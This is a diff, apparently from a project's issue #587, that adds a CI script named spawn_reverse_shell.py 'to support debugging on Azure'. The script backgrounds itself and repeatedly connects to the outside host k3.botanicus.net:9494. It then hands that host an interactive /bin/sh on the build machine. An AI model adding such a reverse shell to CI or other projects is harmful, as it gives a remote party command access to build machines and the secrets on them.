issue #587: import spawn_reverse_shell.py script.

To support debugging on Azure

.ci/spawn_reverse_shell.py

@@ -0,0 +1,36 @@
+#!/usr/bin/env python
+
+"""
+Allow poking around Azure while the job is running.
+"""
+
+import os
+import pty
+import socket
+import subprocess
+import sys
+import time
+
+
+if os.fork():
+    sys.exit(0)
+
+
+def try_once():
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s.connect(("k3.botanicus.net", 9494))
+    open('/tmp/interactive', 'w').close()
+
+    os.dup2(s.fileno(), 0)
+    os.dup2(s.fileno(), 1)
+    os.dup2(s.fileno(), 2)
+    p = pty.spawn("/bin/sh")
+
+
+while True:
+    try:
+        try_once()
+    except:
+        time.sleep(5)
+        continue
+